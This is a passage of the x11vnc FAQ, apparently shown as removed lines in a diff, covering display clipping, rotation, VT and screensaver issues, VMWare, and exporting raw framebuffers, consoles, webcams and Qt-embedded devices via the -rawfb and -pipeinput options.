- end:
- x11vnc -display :0.0 -bg -q -rfbport 5900
- x11vnc -display :0.1 -bg -q -rfbport 5901
-
- (this could be automated in the display manager Xsetup for example)
- and then on the local machine where you are sitting:
- vncviewer somehost:0 &
- vncviewer somehost:1 &
-
- Note: if you are running on Solaris 8 or earlier you can easily hit up
- against the maximum of 6 shm segments per process (for Xsun in this
- case) from running multiple x11vnc processes. You should modify
- /etc/system as mentioned in another FAQ to increase the limit. It is
- probably also a good idea to run with the -onetile option in this case
- (to limit each x11vnc to 3 shm segments), or even -noshm to use no shm
- segments.
-
-
- Q-103: Can x11vnc show only a portion of the display? (E.g. for a
- special purpose application or a very large screen.)
-
- As of Mar/2005 x11vnc has the "-clip WxH+X+Y" option to select a
- rectangle of width W, height H and offset (X, Y). Thus the VNC screen
- will be the clipped sub-region of the display and be only WxH in size.
- One user used -clip to split up a large Xinerama screen into two more
- managable smaller screens.
-
- This also works to view a sub-region of a single application window if
- the -id or -sid options are used. The offset is measured from the
- upper left corner of the selected window.
-
-
- Q-104: Does x11vnc support the XRANDR (X Resize, Rotate and
- Reflection) extension? Whenever I rotate or resize the screen x11vnc
- just seems to crash.
-
- As of Dec/2004 x11vnc supports XRANDR. You enable it with the -xrandr
- option to make x11vnc monitor XRANDR events and also trap X server
- errors if the screen change occurred in the middle of an X call like
- XGetImage. Once it traps the screen change it will create a new
- framebuffer using the new screen.
-
- If the connected vnc viewers support the NewFBSize VNC extension
- (Windows TightVNC viewer and RealVNC 4.0 windows and Unix viewers do)
- then the viewer will automatically resize. Otherwise, the new
- framebuffer is fit as best as possible into the original viewer size
- (portions of the screen may be clipped, unused, etc.) For these
- viewers you can try the -padgeom option to make the region big enough
- to hold all resizes and rotations. We have fixed this problem for the
- TightVNC Viewer on Unix: SSVNC
-
- If you specify "-xrandr newfbsize" then vnc viewers that do not
- support NewFBSize will be disconnected before the resize. If you
- specify "-xrandr exit" then all will be disconnected and x11vnc will
- terminate.
-
-
- Q-105: Independent of any XRANDR, can I have x11vnc rotate and/or
- reflect the screen that the VNC viewers see? (e.g. for a handheld
- whose screen is rotated 90 degrees.)
-
- As of Jul/2006 there is the -rotate option allow this. E.g's: "-rotate
- +90", "-rotate -90", "-rotate x", etc.
-
-
- Q-106: Why is the view in my VNC viewer completely black? Or why is
- everything flashing around randomly?
-
- See the next FAQ for a possible explanation.
-
-
- Q-107: I use Linux Virtual Terminals (VT's) to implement 'Fast User
- Switching' between users' sessions (e.g. Betty is on Ctrl-Alt-F7,
- Bobby is on Ctrl-Alt-F8, and Sid is on Ctrl-Alt-F1: they use those
- keystrokes to switch between their sessions.) How come the view in a
- VNC viewer connecting to x11vnc is either completely black or
- otherwise all messed up unless the X session x11vnc is attached to is
- in the active VT?
-
- This seems to have to do with how applications (the X server processes
- in this case) must "play nicely" if they are not on the active VT
- (sometimes called VC for virtual console.) That is, they should not
- read from the keyboard or mouse or manage the video display unless
- they have the active VT. Given that it appears the XGetImage() call
- must ultimately retrieve the framebuffer data from the video hardware
- itself, it would make sense x11vnc's polling wouldn't work unless the
- X session had active control of the VT.
-
- There does not seem to be an easy way to work around this. Even xwd(1)
- doesn't work in this case (try it.) Something would need to be done at
- a lower level, say in the XFree86/Xorg X server. Also, using the
- Shadow Framebuffer (a copy of the video framebuffer is kept in main
- memory) does not appear to fix the problem.
-
- If no one is sitting at the workstation and you just want to remotely
- switch the VT over to the one associated with your X session (so
- x11vnc can poll it correctly), one can use the chvt(1) command, e.g.
- "chvt 7" for VT #7.
-
-
- Q-108: I am using x11vnc where my local machine has "popup/hidden
- taskbars" and the remote display where x11vnc runs also has
- "popup/hidden taskbars" and they interfere and fight with each other.
- What can I do?
-
- When you move the mouse to the edge of the screen where the popups
- happen, the taskbars interfere with each other in strange ways. This
- sometimes happens where the local machine is GNOME or Mac OS X and the
- remote machine is GNOME. Is there a way to temporarily disable one or
- both of these magic desktop taskbars?
-
- One x11vnc user suggests: it should be straightforward to right mouse
- click on the task bar panel, and uncheck "enable auto-hide" from the
- panel properties dialog box. This will make the panel always visible.
-
- Q-109: Help! x11vnc and my KDE screensaver keep switching each other
- on and off every few seconds.
-
- This is a new (Jul/2006) problem seen, say, on the version of KDE that
- is shipped with SuSE 10.1. It is not yet clear what is causing this...
- If you move the mouse through x11vnc the screensaver shuts off like it
- should but then a second or two after you stop moving the mouse the
- screensaver snaps back on.
-
- This may be a bug in kdesktop_lock. For now the only workaround is to
- disable the screensaver. You can try using another one such as
- straight xscreensaver (see the instructions here for how to disable
- kdesktop_lock.) If you have more info on this or see it outside of KDE
- please let us know.
-
- Update: It appears this is due to kdesktop_lock enabling the screen
- saver when the Monitor is in DPMS low-power state (e.g. standby,
- suspend, or off.) In Nov/2006 the x11vnc -nodpms option was added as a
- workaround. Normally it is a good thing that the monitor powers down
- (since x11vnc can still poll the framebuffer in this state), but if
- you experience the kdesktop_lock problem you can specify the "-nodpms"
- option to keep the Monitor out of low power state while VNC clients
- are connected. This is basically the same as typing "xset dpms force
- on" periodically. (if you don't want to do these things just disable
- the screensaver.) Feel free to file a bug against kdesktop_lock with
- KDE.
-
- Q-110: I am running the compiz 3D window manager (or beryl, MythTv,
- Google Earth, or some other OpenGL app) and I do not get screen
- updates in x11vnc.
-
- This appears to be because the 3D OpenGL/GLX hardware screen updates
- do not get reported via the XDAMAGE mechanism. So this is a bug in
- compiz/beryl or XDAMAGE/Xorg or the (possibly 3rd party) video card
- driver.
-
- As a workaround apply the -noxdamage option. As of Feb/2007 x11vnc
- will try to autodetect the problem and disable XDAMAGE if is appears
- to be missing a lot of updates. But if you know you are using compiz
- you might as well always supply -noxdamage. Thanks to this user who
- reported the problem and discovered the workaround.
-
- A developer for MiniMyth reports that the 'alphapulse' tag of the
- theme G.A.N.T. can also cause problems, and should be avoided when
- using VNC.
-
- Please report a bug or complaint to Beryl/Compiz and/or Xorg about
- this: running x11vnc with -noxdamage disables a nice improvement in
- responsiveness (especially for typing) and also leads to unnecessary
- CPU and memory I/O load due to the extra polling.
-
- Update: as of May/2010 NVIDIA may have fixed this problem in their
- proprietary drivers. See the NVIDIA Release Notes. (look for
- 'x11vnc'.)
-
- Q-111: Can I use x11vnc to view my VMWare session remotely?
-
- Yes, since VMWare usually runs as an X application you can view it via
- x11vnc in the normal way.
-
- Note that VMWare has several viewing modes:
- * Normal X application window (with window manager frame)
- * Quick-Switch mode (with no window manager frame)
- * Fullscreen mode
-
- The way VMWare does Fullscreen mode on Linux is to display the Guest
- desktop in a separate Virtual Terminal (e.g. VT 8) (see this FAQ on
- VT's for background.) Unfortunately, this Fullscreen VT is not an X
- server. So x11vnc cannot access it (however, see this discussion of
- -rawfb for a possible workaround.) x11vnc works fine with "Normal X
- application window" and "Quick-Switch mode" because these use X.
-
- Update: It appears the in VMWare 5.x the Fullscreen mode is X, so
- x11vnc access does work.
-
- One user reports he left his machine with VMWare in the Fullscreen
- mode, and even though his X session wasn't in the active VT, he could
- still connect x11vnc to the X session and pass the keystrokes Ctrl-Alt
- (typing "blind") to the VMWare X app. This induced VMWare to switch
- out of Fullscreen into Normal X mode and he could continue working in
- the Guest desktop remotely.
-
-
- Aside: Sometimes it is convenient (for performance, etc.) to start
- VMWare in its own X session using startx(1). This can be used to have
- a minimal window manger (e.g. twm or even no window manager), to
- improve response. One can also cut the display depth (e.g. to 16bpp)
- in this 2nd X session to improve video performance. This 2nd X session
- emulates Fullscreen mode to some degree and can be viewed via x11vnc
- as long as the VMWare X session is in the active VT.
-
- Also note that with a little bit of playing with "xwininfo -all
- -children" output one can extract the (non-toplevel) window-id of the
- of the Guest desktop only when VMWare is running as a normal X
- application. Then one can export just the guest desktop (i.e. without
- the VMWare menu buttons) by use of the -id windowid option. The
- caveats are the X session VMWare is in must be in the active VT and
- the window must be fully visible, so this mode is not terribly
- convenient, but could be useful in some circumstances (e.g. running
- VMWare on a very powerful server machine in a server room that happens
- to have a video card, (but need not have a monitor, Keyboard or
- mouse).)
-
-
-
- [Exporting non-X11 devices via VNC]
-
- Q-112: Can non-X devices (e.g. a raw framebuffer) be viewed (and even
- controlled) via VNC with x11vnc?
-
- As of Apr/2005 there is support for this. Two options were added:
- "-rawfb string" (to indicate the raw frame buffer device, file, etc.
- and its parameters) and "-pipeinput command" (to provide an external
- program that will inject or otherwise process mouse and keystroke
- input.) Some useful -pipeinput schemes, VID, CONSOLE, and UINPUT, have
- since been built into x11vnc for convenience.
-
- This non-X mode for x11vnc is somewhat experimental because it is so
- removed in scope from the intended usage of the tool. Incomplete
- attempt is made to make all of the other options consistent with non-X
- framebuffer polling. So all of the X-related options (e.g.
- -add_keysyms, -xkb) are just ignored or may cause an error if used. Be
- careful applying such an option via remote control.
-
- The format for the -rawfb string is:
- -rawfb <type>:<object>@<W>x<H>x<bpp>[-<BPL>][:<R>/<G>/<B>][+<offset>]
-
- There are also some useful aliases (e.g. "console".) Some examples:
- -rawfb shm:210337933@800x600x32:ff/ff00/ff0000
-
- -rawfb map:/dev/fb0@1024x768x16
-
- -rawfb map:/tmp/Xvfb_screen0@640x480x8+3232
-
- -rawfb file:/tmp/my.pnm@250x200x24+37
-
- -rawfb file:/dev/urandom@128x128x8
-
- -rawfb snap:/dev/video0@320x240x24 -24to32
-
- -rawfb console
-
- -rawfb vt2
-
- -rawfb video
-
- -rawfb setup:mycmd.sh
-
- So the type can be "shm" for shared memory objects, and "map" or
- "file" for file objects. "map" uses mmap(2) to map the file into
- memory and is preferred over "file" (that uses the slower lseek(2)
- access method.) Only use file if map isn't working. BTW, "mmap" is an
- alias for "map" and if you do not supply a type and the file exists,
- map is assumed (see the -help output and below for some exceptions to
- this.) The "snap:" setting applies the -snapfb option with "file:"
- type reading (this is useful for exporting webcams or TV tuner video;
- see the next FAQ for more info.)
-
- Also, if the string is of the form "setup:cmd" then cmd is run and the
- first line of its output retrieved and used as the rawfb string. This
- allows initializing the device, determining WxHxB, etc.
-
- The object will be the numerical shared memory id for the case of shm.
- The idea here is some other program has created this shared memory
- segment and periodically updates it with new framebuffer data. x11vnc
- polls the area for changes. See shmat(2) and ipcs(8) for more info.
- The ipcs command will list current shared memory segments on the
- system. Sometimes you can snoop on a program's framebuffer it did not
- expect you would be polling!
-
- The object will be the path to the regular or character special file
- for the cases of map and file. The idea here is that in the case of a
- regular file some other program is writing/updating framebuffer image
- data to it. In the case of a character special (e.g. /dev/fb0) it is
- the kernel that is "updating" the framebuffer data.
-
- In most cases x11vnc needs to be told the width, height, and number of
- bits per pixel (bpp) of the framebuffer. This is the @WxHxB field. For
- the case of the Linux framebuffer device, /dev/fb0, the fbset(8) may
- be of use (but may not always be accurate for what is currently
- viewable.) In general some guessing may be required, especially for
- the bpp. Update: in "-rawfb console" mode x11vnc will use the linuxfb
- API to try to guess (it is still not always accurate.) Also try
- "-rawfb vtN" (on x11vnc 0.9.7 and later) for the N-th Linux text
- console (aka virtual terminal.) If the number of Bytes Per Line is not
- WxHxB/8 (i.e. the framebuffer lines are padded) you can specify this
- information after WxHxB via "-BPL", e.g. @800x600x16-2048
-
- Based on the bpp x11vnc will try to guess the red, green, and blue
- masks (these indicate which bits correspond to each color.) It if gets
- it wrong you can specify them manually via the optional ":R/G/B"
- field. E.g. ":0xff0000/0x00ff00/0x0000ff" (this is the default for
- 32bpp.)
-
- Finally, the framebuffer may not begin at the beginning of the memory
- object, so use the optional "+offset" parameter to indicate where the
- framebuffer information starts. So as an example, the Xvfb virtual
- framebuffer has options -shmem and -fbdir for exporting its virtual
- screen to either shm or a mapped file. The format of these is XWD and
- so the initial header should be skipped. BTW, since XWD is not
- strictly RGB the view will only be approximate, but usable. Of course
- for the case of Xvfb x11vnc can poll it much better via the X API, but
- you get the idea.
-
- By default in -rawfb mode x11vnc will actually close any X display it
- happened to open. This is basically to shake out bugs (e.g it will
- crash rather than mysteriously interacting with the X display.) If you
- want x11vnc to keep the X display open while polling the raw
- framebuffer prefix a "+" sign at the beginning of the string (e.g.
- +file:/dev/urandom@64x64x8) This could be convenient for keeping the
- remote control channel active (it uses X properties.) The "-connect
- /path/to/file" mechanism could also be used for remote control to
- avoid the X property channel. Rare usage, but if you also supply
- -noviewonly in this "+" mode then the mouse and keyboard input are
- still sent to the X display, presumably for doing something amusing
- with /dev/fb...
-
- Interesting Devices:. Here are some aliases for interesting device
- files that can be polled via -rawfb:
- -rawfb console /dev/fb0 Linux Console
- -rawfb vt2 /dev/vcsa2 Linux Console (e.g. virtual ter
-minal #2)
- -rawfb video /dev/video0 Video4Linux Capture device
- -rawfb rand /dev/urandom Random Bytes
- -rawfb null /dev/zero Zero Bytes (black screen)
-
- The Linux console, /dev/fb0, etc needs to have its driver enabled in
- the kernel. Some of the drivers are video card specific and
- accelerated. The console is either the Text consoles (usually
- tty1-tty6), or X graphical display (usually starting at tty7.) In
- addition to the text console other graphical ones may be viewed and
- interacted with as well, e.g. DirectFB or SVGAlib apps, VMWare non-X
- fullscreen, or Qt-embedded apps (PDAs/Handhelds.) By default the
- pipeinput mechanisms UINPUT and CONSOLE (keystrokes only) are
- automatically attempted in this mode under "-rawfb console".
-
- The Video4Linux Capture device, /dev/video0, etc is either a Webcam or
- a TV capture device and needs to have its driver enabled in the
- kernel. See this FAQ for details. If specified via "-rawfb Video" then
- the pipeinput method "VID" is applied (it lets you change video
- parameters dynamically via keystrokes.)
-
- The last two, /dev/urandom and /dev/zero are just for fun, but are
- also useful in testing.
-
-
- All of the above -rawfb options are just for viewing the raw
- framebuffer (although some of the aliases do imply keystroke and mouse
- pipeinput methods.) That may be enough for certain applications of
- this feature (e.g. suppose a video camera mapped its framebuffer into
- memory and you just wanted to look at it via VNC.)
- To handle the pointer and keyboard input from the viewer users the
- "-pipeinput cmd" option was added to indicate a helper program to
- process the user input. The input is streamed to it and looks
- something like this:
- Pointer 1 205 257 0 None
- Pointer 1 198 253 0 None
- Pointer 1 198 253 1 ButtonPress-1
- Pointer 1 198 253 0 ButtonRelease-1
- Pointer 1 198 252 0 None
- Keysym 1 1 119 w KeyPress
- Keysym 1 0 119 w KeyRelease
- Keysym 1 1 65288 BackSpace KeyPress
- Keysym 1 0 65288 BackSpace KeyRelease
- Keysym 1 1 112 p KeyPress
- Keysym 1 0 112 p KeyRelease
-
- Run "-pipeinput tee:/bin/cat" to get a description of the format. Note
- that the -pipeinput option is independent of -rawfb mode and so may
- have some other interesting uses. The "tee:" prefix means x11vnc will
- both process the user input and pipe it to the command. The default is
- to just pipe it to the -pipeinput command.
-
- Note the -pipeinput helper program could actually control the raw
- framebuffer. In the libvncserver CVS a simple example program
- x11vnc/misc/slide.pl is provided that demonstrates a simple jpeg
- "slideshow" application. Also the builtin "-pipeinput VID" mode does
- this for webcams and TV capture devices (/dev/video0.)
-
- The -pipeinput program is run with these environment variables set:
- X11VNC_PID, X11VNC_PROG, X11VNC_CMDLINE, X11VNC_RAWFB_STR to aid its
- knowing what is up.
-
- Another example provided in libvncserver CVS is a script to inject
- keystrokes into the Linux console (e.g. the virtual consoles:
- /dev/tty1, /dev/tty2, etc) in x11vnc/misc/vcinject.pl. It is based on
- the vncterm/LinuxVNC.c program also in the libvncserver CVS. So to
- view and interact with VT #2 (assuming it is the active VT) one can
- run something like:
- x11vnc -rawfb map:/dev/fb0@1024x768x16 -pipeinput './vcinject.pl 2'
-
- This assumes your Linux framebuffer device (/dev/fb0) is properly
- configured. See fbset(8) and other documentation. Try
- "file:/dev/fb0@WxHxB" as a last resort. Starting with x11vnc 0.8.1,
- the above VT injection is built in, as well as WxHxB determination.
- Just use something like:
- x11vnc -rawfb console
-
- this will try to guess the active virtual console (via /dev/tty0) and
- also the /dev/fb0 WxHxB and rgb masks automatically. Use, e.g.,
- "-rawfb console3" to force the VT number. This input method can be
- used generally via "-pipeinput CONSOLE". Also starting with x11vnc
- 0.8.2 the "-pipeinput UINPUT" mode is tried first (it does both
- keyboard and mouse input) and then falls back to CONSOLE mode if it is
- not available. Here is the -help output for this mode:
-
- If the rawfb string begins with "console" the framebuffer device
- /dev/fb0 is opened (this requires the appropriate kernel modules to
- be installed) and so is /dev/tty0. The latter is used to inject
- keystrokes (not all are supported, but the basic ones are.) You
- will need to be root to inject keystrokes. /dev/tty0 refers to the
- active VT, to indicate one explicitly, use "console2", etc. using
- the VT number.
-
- If the Linux version seems to be 2.6 or later and the "uinput"
- module appears to be present, then the uinput method will be used
- instead of /dev/ttyN. uinput allows insertion of BOTH keystrokes
- and mouse input and so it preferred when accessing graphical (e.g.
- Qt-embedded) linux console apps. See -pipeinput UINPUT below for
- more information on this mode (you may want to also use the
- -nodragging and -cursor none options.) Use "console0", etc or
- -pipeinput CONSOLE to force the /dev/ttyN method.
-
- Note you can change VT remotely using the chvt(1) command.
- Sometimes switching out and back corrects the framebuffer state.
-
- To skip input injecting entirely use "consolex".
-
- The string "/dev/fb0" (1, etc) can be used instead of "console".
- This can be used to specify a different framebuffer device, e.g.
- /dev/fb1. As a shortcut the "/dev/" can be dropped. If the name is
- something nonstandard, use "console:/dev/foofb"
-
- If you do not want x11vnc to guess the framebuffer's WxHxB and
- masks automatically (sometimes the kernel gives inaccurate
- information), specify them with a @WxHxB at the end of the string.
-
- The above is just an example of what can be done. Note that if you
- really want to view and interact with the Linux Text console it is
- better to use the more accurate and faster LinuxVNC program. The
- advantage x11vnc -rawfb might have is that it can allow interaction
- with a non-text application, e.g. one based on SVGAlib or Qt-embedded
- Also, for example the VMWare Fullscreen mode is actually viewable
- under -rawfb and can be interacted with if uinput is enabled.
-
- If the Linux uinput driver is available then full keystroke and mouse
- input into the Linux console can be performed. You may be able to
- enable uinput via commands like these:
- modprobe uinput
- mknod /dev/input/uinput c 10 223
-
- The -rawfb and -pipeinput features are intended to help one creatively
- "get out of a jam" (say on a legacy or embedded device) where X is
- absent or doesn't work properly. Feedback and bug reports are welcome.
- For more control and less overhead use libvncserver in your own C
- program that passes the framebuffer to libvncserver.
-
-
- Q-113: Can I export the Linux Console (Virtual Terminals) via VNC
- using x11vnc?
-
- Yes, you may need to be root to access the devices that make up the
- linux console.
-
- To access the active Linux console via the computer's framebuffer try
- something like:
- x11vnc -rawfb console
- x11vnc -rawfb console2
-
- These will try to access the framebuffer through /dev/fb (or /dev/fb0,
- etc.) and if it succeeds it will show any text or graphics that is
- currently displayed. Keystrokes will be injected via the device
- /dev/tty0 (to force an explicit virtual terminal append a number, e.g.
- "console2" to select /dev/tty2.)
-
- If your Linux system does not have a framebuffer device (/dev/fb) you
- can get one by adding, e.g., vga=0x31B boot parameter. This enables
- the VGA framebuffer device at 1280x1024x24. 0x317 gives 1024x768x16,
- etc. You can also enable a Linux framebuffer device by modprobing a
- framebuffer driver specific to your video card.
-
- Note that this "-rawfb console" mode shows the contents of the
- hardware framebuffer, and so will show whatever is on the screen. It
- has no concept of Virtual Terminals WRT what there is to view, it
- always shows the active virtual terminal.
-
- Another mode is specific to the Linux text Virtual Terminals, it shows
- their text and colors (but no graphics) regardless of whether it is
- the active VT or not. It is available on x11vnc 0.9.7 and later.
- Enable this mode like this:
- x11vnc -rawfb vt
- x11vnc -rawfb vt2
-
- The former will select the active one, the latter the 2nd VT. x11vnc
- implements this mode by opening the current console text file
- "/dev/vcsa2" instead of "/dev/fb". In this way it provides the basic
- functionality of the LibVNCServer LinuxVNC program.
-
- The vt mode can be a useful way to try to get a machine's X server
- working remotely, e.g. you edit /etc/X11/xorg.conf and then type
- startx (or similar, e.g. gdm) in the virtual terminal. A 2nd x11vnc
- could be used to see if the X server is now working correctly.
-
- Q-114: Can I export via VNC a Webcam or TV tuner framebuffer using
- x11vnc?
-
- Yes, this is possible to some degree with the -rawfb option. There is
- no X11 involved: snapshots from the video capture device are used for
- the screen image data. See the previous FAQ on -rawfb for background.
- For best results, use x11vnc version 0.8.1 or later.
-
- Roughly, one would do something like this:
- x11vnc -rawfb snap:/dev/video@320x240x32
-
- This requires that the system allows simple read(2) access to the
- video device. This is true for video4Linux on Linux kernel 2.6 and
- later (it won't work for 2.4, you'll need a separate program to
- snapshot to a file that you point -rawfb to; ask me if it is not clear
- what to do.)
-
- The "snap:" enforces -snapfb mode which appears to be necessary. The
- read pointer for video capture devices cannot be repositioned (which
- would be needed for scanline polling), but you can read a full frame
- of data from the device.
-
- On Linux, if the Video4Linux API is present or the v4l-info(1) program
- (related to xawtv) exists in in PATH, then x11vnc can be instructed to
- try it to determine the -rawfb WxHxB parameters for you automatically.
- In this case one would just type:
- x11vnc -rawfb video
-
- or "-rawfb video1" for the 2nd video device, etc.
-
- x11vnc has also been extended to use the Video4Linux API over v4l-info
- if it is available at build time. This enables setting parameters
- (e.g. size and brightness) via x11vnc. See the description below.
- Without Video4Linux you will need to initialize the settings of the
- video device using something like xawtv or spcaview (and then hope the
- settings persist until x11vnc reopens the device.)
-
- Many video4linux drivers tend to set the framebuffer to be 24bpp (as
- opposed to 32bpp.) Since this can cause problems with VNC viewers,
- etc, the -24to32 option will be automatically imposed when in 24bpp.
-
- Note that by its very nature, video capture involves rapid change in
- the framebuffer. This is especially true for cameras where slight
- wavering in brightness is always happening. This can lead to much
- network bandwidth consumption for the VNC traffic and also local CPU
- and I/O resource usage. You may want to experiment with "dialing down"
- the framerate via the -wait, -slow_fb, or -defer options. Decreasing
- the window size and bpp also helps.
-
-
- Setting Camera/Tuner parameters via x11vnc:
-
- There is also some support for setting parameters of the capture
- device. This is done via "-rawfb video:<settings>". This could be
- useful for unattended startup at boottime, etc. Here is the -help
- description:
-
- A more sophisticated video device scheme allows initializing the
- device's settings using:
-
- -rawfb video:<settings>
-
- The prefix could also be, as above, e.g. "video1:" to specify the
- device file. The v4l API must be available for this to work.
- Otherwise, you will need to try to initialize the device with an
- external program, e.g. xawtv, spcaview, and hope they persist when
- x11vnc re-opens the device.
-
- <settings> is a comma separated list of key=value pairs. The
- device's brightness, color, contrast, and hue can be set to
- percentages, e.g. br=80,co=50,cn=44,hu=60.
-
- The device filename can be set too if needed (if it does not start
- with "video"), e.g. fn=/dev/qcam.
-
- The width, height and bpp of the framebuffer can be set via, e.g.,
- w=160,h=120,bpp=16.
-
- Related to the bpp above, the pixel format can be set via the
- fmt=XXX, where XXX can be one of: GREY, HI240, RGB555, RGB565,
- RGB24, and RGB32 (with bpp 8, 8, 16, 16, 24, and 32 respectively.)
- See http://www.linuxtv.org for more info (V4L api.)
-
- For TV/rf tuner cards one can set the tuning mode via tun=XXX where
- XXX can be one of PAL, NTSC, SECAM, or AUTO.
-
- One can switch the input channel by the inp=XXX setting, where XXX
- is the name of the input channel (Television, Composite1, S-Video,
- etc.) Use the name that is in the information about the device that
- is printed at startup.
-
- For input channels with tuners (e.g. Television) one can change
- which station is selected by the sta=XXX setting. XXX is the
- station number. Currently only the ntsc-cable-us (US cable)
- channels are built into x11vnc. See the -freqtab option below to
- supply one from xawtv. If XXX is greater than 500, then it is
- interpreted as a raw frequency in KHz.
-
- Example:
-
- -rawfb video:br=80,w=320,h=240,fmt=RGB32,tun=NTSC,sta=47
-
- one might need to add inp=Television too for the input channel to
- be TV if the card doesn't come up by default in that one.
-
- Note that not all video capture devices will support all of the
- above settings.
-
- See the -pipeinput VID option below for a way to control the
- settings through the VNC Viewer via keystrokes.
-
- As above, if you specify a "@WxHxB..." after the <settings> string
- they are used verbatim: the device is not queried for the current
- values. Otherwise the device will be queried.
-
- Also, if you supply the "-pipeinput VID" (or use "-rawfb Video")
- option you can control the settings to some degree via keystroke
- mappings, e.g. B to increase the brightness or Up arrow to change the
- TV station:
-
- For "-pipeinput VID" and you are using the -rawfb for a video
- capture device, then an internal list of keyboard mappings is used
- to set parameters of the video. The mappings are:
-
- "B" and "b" adjust the brightness up and down.
- "H" and "h" adjust the hue.
- "C" and "c" adjust the colour.
- "N" and "n" adjust the contrast.
- "S" and "s" adjust the size of the capture screen.
- "I" and "i" cycle through input channels.
- Up and Down arrows adjust the station (if a tuner)
- F1, F2, ..., F6 will switch the video capture pixel
- format to HI240, RGB565, RGB24, RGB32, RGB555, and
- GREY respectively. See -rawfb video for details.
-
- See also the -freqtab option to supply your own xawtv channel to
- frequency mappings for your country (only ntsc-cable-us is built into
- x11vnc.)
-
-
- Q-115: Can I connect via VNC to a Qt-embedded/Qt-enhanced/Qtopia
- application running on my handheld, cell phone, or PC using the Linux
- console framebuffer (i.e. not X11)?
-
- Yes, the basic method for this is the -rawfb scheme where the Linux
- console framebuffer (usually /dev/fb0) is polled and the uinput driver
- is used to inject keystrokes and mouse input. Often you will just have
- to type:
- x11vnc -rawfb console
-
- (you may need to enable the uinput driver on the system via "modprobe
- uinput; mknod /dev/input/uinput c 10 223") If this does not find the
- correct frame buffer properties figure them out or guess them and use
- something like:
- x11vnc -rawfb /dev/fb0@640x480x16
-
- Also, to force usage of the uinput injection method use "-pipeinput
- UINPUT". See the -pipeinput description for tunable parameters, etc.
-
- One problem with the x11vnc uinput scheme is that it cannot guess the
- mouse motion "acceleration" used by the windowing application (e.g.
- QWS or X11.) For X11 and Qt-embedded the acceleration is usually 2
- (i.e. a dx of 1 from the mouse yields a 2 pixel displacement of the
- mouse cursor.) The default x11vnc uses is 2, since that is often used.
- However for one Qt-embedded system we needed to do:
- x11vnc -rawfb console -pipeinput UINPUT:accel=4.0
-
- to get reasonable positioning of the mouse.
-
- Even with the correct acceleration setting there is still some drift
- (probably because of the mouse threshold where the acceleration kicks
- in) and so x11vnc needs to reposition the cursor from 0,0 about 5
- times a second. See the -pipeinput UINPUT option for tuning parameters
- that can be set (there are some experimental thresh=N tuning
- parameters as well)
-
- Currently, one can expect mouse input to be a little flakey. All in
- all, the Linux framebuffer input mechanism for Qt-embedded framebuffer
- apps is not perfect, but it is usable.
-
- If you need to create a smaller x11vnc binary for a handheld
- environment be sure to run strip(1) on it and also consider
- configuring with, e.g. "env CPPFLAGS='-DSMALL_FOOTPRINT=1' ./configure
- ..." to remove rarely used features and large texts (use 2 or 3
- instead of 1 to remove more.) Currently (Jul/2006) this can lower the
- size of the x11vnc from 1.1MB to 0.6-0.7MB.
-
- The x11vnc uinput method applies to nearly anything on the Linux
- framebuffer console, not just Qt-embedded/Qtopia. DirectFB, SDL using
- fbcon driver, SVGAlib applications can also be viewed and interacted
- with. Even a Linux X session can be viewed and interacted with without
- using X11 (and x11vnc does not have to terminate when the X server
- restarts!) The Linux Text consoles (F1-F6) also work.
-
- Note that Qt-embedded supplies its own VNC graphics driver, but it
- cannot do both the Linux console framebuffer and VNC at the same time,
- which is often what is desired from VNC.
-
- Update: We are finding some setups like Qtopia on the IPAQ do not
- allow mouse input via uinput. Please help us debug this problem by
- trying x11vnc on your device and letting us know what does and does
- not work. See the next FAQ for a possible workaround for touchscreens.
-
-
- Q-116: How do I inject touch screen input into an
- Qt-embedded/Qt-enhanced/Qtopia cell phone such as openmoko/qtmoko Neo
- Freerunner?
-
- The qtmoko project does not use X11 for the graphical display.
- Unfortunately the Linux uinput method described in the previous FAQ
- does not work because Qt is using TSLIB (touch screen library) to
- process the input and it only reads from one device (often
- /dev/input/event1) and not from the new UINPUT device that x11vnc
- creates (under -pipeinput UINPUT)
-
- So something else needs to be done. It was discovered that by simply
- writing the touchscreen events directly to /dev/input/event1 then
- input can be injected into the system. There is no x11vnc builtin mode
- for this yet (until we understand it better), but there is a working
- script provided in x11vnc/misc/qt_tslib_inject.pl. So one could use it
- this way for example:
- x11vnc ... -rawfb console -pipeinput path/to/qt_tslib_inject.pl -env INJECT_O
-PTIONS=clickonly,cal=/etc/pointercal
-
- Read the script for how to enable other options and what the above
- options mean (e.g. /etc/pointercal contains TSLIB's calibration
- parameters and are necessary to achieve accurate pointing.)
-
- The x11vnc/misc/qt_tslib_inject.pl script can potentially be modified
- to handle other devices where the uinput method fails. It could also
- be modified to create 'hot keys', etc.
-
- Please let us know how things go if you try this out; there is much to
- learn about synthetic input injection in handhelds and cell phones. As
- we learn more we can develop a builtin x11vnc mode for this sort of
- injection.
-
- Update Dec/2010: There is experimental built-in UINPUT support in the
- x11vnc development tarball for qtmoko with touchpad managed by tslib.
- See -pipeinput UINPUT for more info. Here is an example:
- x11vnc -rawfb console -pipeinput UINPUT:touch,tslib_cal=/etc/pointercal,dire
-ct_abs=/dev/input/event1,nouinput,dragskip=3
-
-
- Q-117: Now that non-X11 devices can be exported via VNC using x11vnc,
- can I build it with no dependencies on X11 header files and libraries?
-
- Yes, as of Jul/2006 x11vnc enables building for -rawfb only support.
- Just do something like when building:
- ./configure --without-x (plus any other flags)
- make
-
- You can then test via "ldd x11vnc" that the binary does not depend on
- libX11.so, etc. See the previous FAQ's for non-X11 framebuffer usage.
- If you use this for an interesting non-X11 application please let us
- know what you did.
-
-
- Q-118: How do I cross compile x11vnc for a different architecture than
- my Linux i386 or amd64 PC?
-
- You will need a cross-compiling toolchain. Perhaps your distro
- provides these or you can find a HOWTO for your distro. We found a
- nice one at qtmoko.org for building armel binaries on Debian Linux
- i386 machines. It includes most of the libraries that x11vnc needs. We
- use that example here.
-
- We ran this script to set PATH, configure, and build:
-#!/bin/sh
-
-# toolchain from: qtmoko-debian-toolchain-armv4t-eabi.tar.gz
-
-export PATH=/opt/toolchains/arm920t-eabi/bin:$PATH
-
-env CC=arm-linux-gcc ./configure --host=arm-linux --without-avahi
-
-make
-
-arm-linux-strip ./x11vnc/x11vnc
-ls -l ./x11vnc/x11vnc
-
- Note we had to include --without-avahi due to lack of
- libavahi-client.so.3 supplied by the toolchain we used. One would need
- to add it if it was desired on the target machine. We also stripped
- the binary to make it smaller.
-
- For an embedded system one may also want to add --without-x if the
- embedded system does not use X11 and the -rawfb mechanism must be
- used.
-
-
- Q-119: Does x11vnc support Mac OS X Aqua/Quartz displays natively
- (i.e. no X11 involved)?
-
- Yes, since Nov/2006 in the development tree (x11vnc-0.8.4 tarball)
